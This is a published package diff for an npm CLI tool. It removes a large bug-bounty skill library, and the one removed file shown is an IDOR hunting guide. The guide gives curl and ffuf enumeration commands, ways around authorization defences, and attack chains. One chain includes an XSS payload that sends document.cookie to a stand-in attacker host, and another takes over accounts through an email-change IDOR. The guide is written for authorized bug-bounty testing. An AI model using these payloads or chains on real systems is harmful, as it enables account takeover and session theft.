@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled/bug-hunter/SKILL.md +7 -0
- package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
- package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
- package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
- package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
- package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
- package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
- package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
- package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
- package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
- package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
- package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
- package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
- package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
- package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
- package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
- package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
- package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
- package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
- package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
- package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
- package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
- package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
- package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
- package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
- package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
- package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
- package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
- package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
- package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
- package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
- package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
- package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
- package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
- package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
- package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
- package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
- package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
- package/cli.js +1 -1
- package/package.json +2 -2
- package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
- package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
- package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
- package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
- package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
- package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
- package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
- package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
- package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
- package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
- package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
- package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
- package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
- package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
- package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
- package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
- package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
- package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
- package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
- package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
- package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
- package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
- package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
- package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
- package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
- package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
- package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
- package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
- package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
- package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
- package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
- package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
- package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
- package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
- package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
- package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
- package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
- package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
- package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
- package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
- package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
- package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
- package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
- package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
- package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
- package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
- package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
- package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
- package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
- package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
- package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
- package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
- package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
- package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
- package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
- package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
- package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
- package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
- package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
- package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
- package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
- package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
- package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
- package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
- package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
- package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
- package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
- package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
- package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
- package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
- package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
- package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
- package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
- package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
- package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
- package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
- package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
- package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
- package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
- package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
- package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
- package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
- package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
- package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
- package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
- package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
- package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
- package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
- package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
- package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
- package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
- package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
- package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
- package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
- package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
- package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
- package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
- package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
- package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
- package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
- package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
- package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
- package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
- package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
- package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
|
@@ -1,389 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-idor
|
|
3
|
-
description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
|
|
4
|
-
sources: github, hackerone_public
|
|
5
|
-
report_count: 39
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
## Crown Jewel Targets
|
|
9
|
-
|
|
10
|
-
**Why IDOR pays big:**
|
|
11
|
-
- Direct access to other users' data without authentication bypass — clear, demonstrable impact
|
|
12
|
-
- Chains easily with privilege escalation, financial fraud, and account takeover
|
|
13
|
-
- Affects virtually every application with user-owned resources
|
|
14
|
-
|
|
15
|
-
**Highest-value asset types (by payout potential):**
|
|
16
|
-
|
|
17
|
-
| Asset Type | Why It Pays |
|
|
18
|
-
|---|---|
|
|
19
|
-
| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
|
|
20
|
-
| Private repositories / source code | IP theft, critical data loss (GitHub) |
|
|
21
|
-
| User messages / DMs | Privacy violation at scale (Reddit) |
|
|
22
|
-
| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
|
|
23
|
-
| Business/org administration | Cross-tenant escalation, employee PII (Uber) |
|
|
24
|
-
| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
|
|
25
|
-
|
|
26
|
-
**Programs that pay most for IDOR:**
|
|
27
|
-
- Platforms with multi-tenancy (SaaS, B2B tools)
|
|
28
|
-
- Fintech and payment processors
|
|
29
|
-
- Social platforms with private content
|
|
30
|
-
- Developer tools with org/repo isolation
|
|
31
|
-
|
|
32
|
-
---
|
|
33
|
-
|
|
34
|
-
## Attack Surface Signals
|
|
35
|
-
|
|
36
|
-
**URL patterns that scream IDOR:**
|
|
37
|
-
```
|
|
38
|
-
/api/v1/users/{id}/
|
|
39
|
-
/api/v*/orders/{order_id}
|
|
40
|
-
/invoices/download?id=
|
|
41
|
-
/reports/{uuid}/
|
|
42
|
-
/messages/{thread_id}
|
|
43
|
-
/admin/orgs/{org_id}/members
|
|
44
|
-
/migration/{migration_id}/files
|
|
45
|
-
/graphql (query params with IDs)
|
|
46
|
-
/api/business/{business_id}/
|
|
47
|
-
/vouchers/{voucher_id}/policy
|
|
48
|
-
```
|
|
49
|
-
|
|
50
|
-
**Response header signals:**
|
|
51
|
-
- `Content-Type: application/json` on endpoints accepting raw IDs
|
|
52
|
-
- No `X-Frame-Options` or CORS misconfigs paired with ID params
|
|
53
|
-
- `Authorization: Bearer` tokens that are user-scoped but hit org-level resources
|
|
54
|
-
|
|
55
|
-
**JavaScript source patterns:**
|
|
56
|
-
```javascript
|
|
57
|
-
// Look for hardcoded or interpolated IDs in JS
|
|
58
|
-
fetch(`/api/v1/users/${userId}/profile`)
|
|
59
|
-
axios.get('/invoices/' + invoiceId)
|
|
60
|
-
graphql query { billingDocument(id: $docId) }
|
|
61
|
-
// Redux/state stores exposing foreign IDs
|
|
62
|
-
state.currentUser.organizationId
|
|
63
|
-
```
|
|
64
|
-
|
|
65
|
-
**Tech stack signals:**
|
|
66
|
-
- GraphQL endpoints (query-based IDORs are often missed)
|
|
67
|
-
- REST APIs with sequential integer IDs (most vulnerable)
|
|
68
|
-
- UUIDs that are predictable or leaked in other responses
|
|
69
|
-
- Multi-tenant SaaS apps with `org_id`, `account_id`, `business_id` params
|
|
70
|
-
- Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
|
|
71
|
-
|
|
72
|
-
---
|
|
73
|
-
|
|
74
|
-
## Step-by-Step Hunting Methodology
|
|
75
|
-
|
|
76
|
-
1. **Map all object references in the application**
|
|
77
|
-
- Browse every feature authenticated as User A
|
|
78
|
-
- Capture all requests in Burp Suite
|
|
79
|
-
- Filter for requests containing: `id=`, `_id=`, `uuid=`, `/v1/{noun}/{id}`, query params with numeric/UUID values
|
|
80
|
-
|
|
81
|
-
2. **Enumerate ID types**
|
|
82
|
-
- Sequential integers → enumerate ±1, ±100
|
|
83
|
-
- UUIDs → check if they appear in other responses or JS files
|
|
84
|
-
- Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
|
|
85
|
-
|
|
86
|
-
3. **Create two separate accounts (same privilege level)**
|
|
87
|
-
- User A: resource owner
|
|
88
|
-
- User B: attacker account
|
|
89
|
-
- Log all IDs belonging to User A while authenticated as User A
|
|
90
|
-
|
|
91
|
-
4. **Replay User A's resource IDs as User B**
|
|
92
|
-
- Replace session cookie/token with User B's credentials
|
|
93
|
-
- Send identical requests referencing User A's object IDs
|
|
94
|
-
- Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
|
|
95
|
-
|
|
96
|
-
5. **Test cross-tenant/cross-org scenarios**
|
|
97
|
-
- Create accounts in separate organizations/businesses
|
|
98
|
-
- Test if Org B's session can reference Org A's IDs
|
|
99
|
-
- Pay special attention to admin/management endpoints
|
|
100
|
-
|
|
101
|
-
6. **Test GraphQL specifically**
|
|
102
|
-
- Run introspection: `{ __schema { queryType { fields { name } } } }`
|
|
103
|
-
- For every query/mutation taking an `id` argument, substitute another user's ID
|
|
104
|
-
- Test both queries (read) and mutations (write/delete)
|
|
105
|
-
|
|
106
|
-
7. **Test write/destructive operations, not just reads**
|
|
107
|
-
- Can User B DELETE User A's resources?
|
|
108
|
-
- Can User B MODIFY User A's content?
|
|
109
|
-
- Can User B ADD themselves to User A's account?
|
|
110
|
-
|
|
111
|
-
8. **Chain IDORs together**
|
|
112
|
-
- Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
|
|
113
|
-
- IDOR → leaked ID → second IDOR → privilege escalation
|
|
114
|
-
|
|
115
|
-
9. **Test state-changing edge cases**
|
|
116
|
-
- Expired tokens/invites that can still be accepted
|
|
117
|
-
- Race conditions on resource IDs
|
|
118
|
-
- Indirect references: `?sort=id` or `?filter[user_id]=`
|
|
119
|
-
|
|
120
|
-
10. **Document the exact differential**
|
|
121
|
-
- Confirm User B has NO legitimate access to User A's resource
|
|
122
|
-
- Screenshot/log the 200 OK vs expected 403/404
|
|
123
|
-
|
|
124
|
-
---
|
|
125
|
-
|
|
126
|
-
## Payload & Detection Patterns
|
|
127
|
-
|
|
128
|
-
**Basic IDOR test with curl (swap cookie/token):**
|
|
129
|
-
```bash
|
|
130
|
-
# Get User A's resource ID while authenticated as A
|
|
131
|
-
curl -s -H "Cookie: session=USER_A_SESSION" \
|
|
132
|
-
https://target.com/api/v1/invoices/12345
|
|
133
|
-
|
|
134
|
-
# Replay with User B's session
|
|
135
|
-
curl -s -H "Cookie: session=USER_B_SESSION" \
|
|
136
|
-
https://target.com/api/v1/invoices/12345
|
|
137
|
-
|
|
138
|
-
# Success = 200 OK with User A's data
|
|
139
|
-
```
|
|
140
|
-
|
|
141
|
-
**GraphQL IDOR test:**
|
|
142
|
-
```bash
|
|
143
|
-
curl -s -X POST https://target.com/graphql \
|
|
144
|
-
-H "Authorization: Bearer USER_B_TOKEN" \
|
|
145
|
-
-H "Content-Type: application/json" \
|
|
146
|
-
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
|
|
147
|
-
```
|
|
148
|
-
|
|
149
|
-
**Enumerate sequential IDs with ffuf:**
|
|
150
|
-
```bash
|
|
151
|
-
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
|
|
152
|
-
-w ids.txt \
|
|
153
|
-
-H "Authorization: Bearer USER_B_TOKEN" \
|
|
154
|
-
-mc 200 \
|
|
155
|
-
-o idor_results.json
|
|
156
|
-
```
|
|
157
|
-
|
|
158
|
-
**Generate sequential ID wordlist:**
|
|
159
|
-
```python
|
|
160
|
-
# Generate IDs around a known value
|
|
161
|
-
known_id = 48291
|
|
162
|
-
with open("ids.txt", "w") as f:
|
|
163
|
-
for i in range(known_id - 500, known_id + 500):
|
|
164
|
-
f.write(str(i) + "\n")
|
|
165
|
-
```
|
|
166
|
-
|
|
167
|
-
**Burp Intruder payload for IDOR scanning:**
|
|
168
|
-
```
|
|
169
|
-
GET /api/messages/§12345§ HTTP/1.1
|
|
170
|
-
Host: target.com
|
|
171
|
-
Authorization: Bearer USER_B_TOKEN
|
|
172
|
-
|
|
173
|
-
# Mark §12345§ as injection point
|
|
174
|
-
# Use numeric sequential payload: 12000-13000
|
|
175
|
-
# Filter responses by length difference or status 200
|
|
176
|
-
```
|
|
177
|
-
|
|
178
|
-
**JavaScript scraping for leaked IDs:**
|
|
179
|
-
```bash
|
|
180
|
-
# Find IDs in JS bundles
|
|
181
|
-
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
|
|
182
|
-
|
|
183
|
-
# Find object references in API responses
|
|
184
|
-
curl -s -H "Cookie: session=USER_A" \
|
|
185
|
-
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
|
|
186
|
-
```
|
|
187
|
-
|
|
188
|
-
**Grep patterns for source code review:**
|
|
189
|
-
```bash
|
|
190
|
-
# Missing authorization checks in common frameworks
|
|
191
|
-
grep -r "findById\|findOne\|getById" --include="*.js" .
|
|
192
|
-
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
|
|
193
|
-
grep -r "request\.args\.get\('id'\)" --include="*.py" .
|
|
194
|
-
|
|
195
|
-
# Look for direct ORM queries without user scoping
|
|
196
|
-
grep -r "Model\.find(params" --include="*.js" .
|
|
197
|
-
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
|
|
198
|
-
```
|
|
199
|
-
|
|
200
|
-
**IDOR via HTTP method tampering:**
|
|
201
|
-
```bash
|
|
202
|
-
# Try undocumented methods
|
|
203
|
-
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
|
|
204
|
-
echo "=== $method ==="
|
|
205
|
-
curl -s -X $method \
|
|
206
|
-
-H "Authorization: Bearer USER_B_TOKEN" \
|
|
207
|
-
https://target.com/api/v1/users/USER_A_ID/profile
|
|
208
|
-
done
|
|
209
|
-
```
|
|
210
|
-
|
|
211
|
-
---
|
|
212
|
-
|
|
213
|
-
## Common Root Causes
|
|
214
|
-
|
|
215
|
-
1. **Missing ownership check in ORM queries**
|
|
216
|
-
```javascript
|
|
217
|
-
// VULNERABLE: fetches any record
|
|
218
|
-
const invoice = await Invoice.findById(req.params.id);
|
|
219
|
-
|
|
220
|
-
// SECURE: scopes to authenticated user
|
|
221
|
-
const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
|
|
222
|
-
```
|
|
223
|
-
|
|
224
|
-
2. **Authorization at the route level, not object level**
|
|
225
|
-
- Developer checks "is user logged in?" but not "does this user own this object?"
|
|
226
|
-
- Middleware confirms authentication; individual handlers skip ownership validation
|
|
227
|
-
|
|
228
|
-
3. **Trusting client-supplied IDs in request bodies**
|
|
229
|
-
- Mobile apps or SPAs send `org_id` in POST body; server uses it directly without verifying caller belongs to that org
|
|
230
|
-
|
|
231
|
-
4. **GraphQL resolvers without field-level authorization**
|
|
232
|
-
- Query resolvers fetch by ID from database without checking if the requesting user has permission
|
|
233
|
-
- Especially common when resolvers are auto-generated from schema
|
|
234
|
-
|
|
235
|
-
5. **Inconsistent authorization across HTTP verbs**
|
|
236
|
-
- GET endpoint is protected; POST/DELETE on same resource path is not
|
|
237
|
-
- Common in APIs built incrementally by different developers
|
|
238
|
-
|
|
239
|
-
6. **Indirect references exposed via related objects**
|
|
240
|
-
- Object A (accessible) contains a reference to Object B (should be private)
|
|
241
|
-
- Developer only protects direct access to B, not indirect references through A
|
|
242
|
-
|
|
243
|
-
7. **Race conditions and state-based IDORs**
|
|
244
|
-
- Authorization checked at creation time, not at access time
|
|
245
|
-
- Invites/tokens remain valid after the granting permission is revoked
|
|
246
|
-
|
|
247
|
-
8. **Multi-tenant isolation failures**
|
|
248
|
-
- Developers implement per-user access control but forget cross-org boundaries
|
|
249
|
-
- `user_id` check present; `org_id` / `tenant_id` check absent
|
|
250
|
-
|
|
251
|
-
---
|
|
252
|
-
|
|
253
|
-
## Bypass Techniques
|
|
254
|
-
|
|
255
|
-
**Defense: UUIDs instead of sequential integers**
|
|
256
|
-
- Bypass: UUIDs often leak in other API responses, notification emails, webhooks, GraphQL queries, or JS source
|
|
257
|
-
- Technique: Harvest UUIDs from accessible endpoints, then replay against restricted ones
|
|
258
|
-
|
|
259
|
-
**Defense: Indirect/hashed object references**
|
|
260
|
-
- Bypass: Decode the hash (often base64 or simple obfuscation), or find the original ID in another response
|
|
261
|
-
- Technique: `echo "dXNlcl8xMjM0NQ==" | base64 -d` → `user_12345`
|
|
262
|
-
|
|
263
|
-
**Defense: Short-lived tokens per resource**
|
|
264
|
-
- Bypass: Tokens sometimes reusable across users if server only validates token format, not binding
|
|
265
|
-
- Technique: Use your own token to access another user's resource ID
|
|
266
|
-
|
|
267
|
-
**Defense: Rate limiting on enumeration**
|
|
268
|
-
- Bypass: Slow enumeration (1 req/5s), use distributed IPs, or exploit non-enumeration IDORs (you already know the target's ID from another leak)
|
|
269
|
-
|
|
270
|
-
**Defense: Checking `user_id` in WHERE clause**
|
|
271
|
-
- Bypass: Check if the same endpoint exists at a different API version (`/v1/` vs `/v2/`) — authorization logic is often version-specific
|
|
272
|
-
- Technique: Check JS bundles for older API version calls
|
|
273
|
-
|
|
274
|
-
**Defense: CORS restrictions**
|
|
275
|
-
- Bypass: IDOR doesn't require cross-origin exploitation — you're testing API endpoints directly with your own session
|
|
276
|
-
|
|
277
|
-
**Defense: "Opaque" references via server-side sessions**
|
|
278
|
-
- Bypass: Look for any endpoint that *returns* the internal ID, then use it elsewhere; APIs often expose IDs in `Location` headers, error messages, or metadata
|
|
279
|
-
|
|
280
|
-
**Defense: Parameter filtering/WAF on common patterns**
|
|
281
|
-
- Bypass: Try nested JSON `{"data": {"id": "VICTIM_ID"}}`, HTTP parameter pollution `?id=own_id&id=victim_id`, or parameter name variations `user_id`, `userId`, `uid`, `account`
|
|
282
|
-
|
|
283
|
-
---
|
|
284
|
-
|
|
285
|
-
## Gate 0 Validation
|
|
286
|
-
|
|
287
|
-
Before writing the report, answer all three:
|
|
288
|
-
|
|
289
|
-
1. **What can the attacker DO right now?**
|
|
290
|
-
Be specific: "Attacker with a valid account can send a GET request to `/api/v1/invoices/{victim_invoice_id}` and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
|
|
291
|
-
|
|
292
|
-
2. **What does the victim LOSE?**
|
|
293
|
-
Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.
|
|
294
|
-
|
|
295
|
-
3. **Can it be reproduced in 10 minutes from scratch?**
|
|
296
|
-
- Two fresh accounts created ✓
|
|
297
|
-
- Exact HTTP request documented with victim's ID ✓
|
|
298
|
-
- 200 OK response showing victim's data (or confirmed state change) ✓
|
|
299
|
-
- No reliance on pre-existing state or timing ✓
|
|
300
|
-
|
|
301
|
-
If you can't demo it reproducibly, do not file the report.
|
|
302
|
-
|
|
303
|
-
---
|
|
304
|
-
|
|
305
|
-
## Real Impact Examples
|
|
306
|
-
|
|
307
|
-
**Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style)**
|
|
308
|
-
An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
|
|
309
|
-
|
|
310
|
-
**Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style)**
|
|
311
|
-
A migration feature allows users to upload files to a migration job. The `migration_id` parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
|
|
312
|
-
|
|
313
|
-
**Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)**
|
|
314
|
-
An attacker accesses another user's private message threads by substituting their `thread_id` in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
|
|
315
|
-
|
|
316
|
-
---
|
|
317
|
-
|
|
318
|
-
## Chains & Compositions (Senior Hunting)
|
|
319
|
-
|
|
320
|
-
Standalone IDOR gets paid at Low-Medium for cross-tenant *read*. The real money is in chaining IDOR to a *state-change* primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
|
|
321
|
-
|
|
322
|
-
### Chain 1 — IDOR on `/api/users/{id}/email` + Missing Re-Auth → Password Reset → ATO
|
|
323
|
-
|
|
324
|
-
- **A.** Confirm IDOR on the email-change endpoint — request `PUT /api/users/{victim_id}/email {"email":"attacker@evil"}` from attacker's session; server changes the victim's email without ownership check.
|
|
325
|
-
- **B.** Hit the password-reset flow on the victim's account — server emails reset link to the **new** email (attacker's).
|
|
326
|
-
- **C.** Open reset link, set new password, log in as victim.
|
|
327
|
-
- **Impact:** Silent ATO — victim sees no email change notification because the change happens via API not via the user-facing "change email" UI which has its own audit log.
|
|
328
|
-
- **Real shape:** Classic ATO pattern across many SaaS bug-bounty disclosures 2018-2024. Cross-refs `hunt-ato` Path 2 (email change without re-auth).
|
|
329
|
-
|
|
330
|
-
### Chain 2 — IDOR on File-Download + Filename-Controlled `Content-Disposition` → Reflected-XSS-Via-Download → Session Theft
|
|
331
|
-
|
|
332
|
-
- **A.** IDOR on `/api/files/{id}/download` returns any user's file given the ID.
|
|
333
|
-
- **B.** The download endpoint sets `Content-Disposition: attachment; filename="<user-supplied-filename>"` without sanitising newlines or quotes — attacker uploads a file with filename `"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt`.
|
|
334
|
-
- **C.** Victim navigates to download → browser interprets the injected script in the response header context as HTML → JS runs same-origin → cookie/token exfil.
|
|
335
|
-
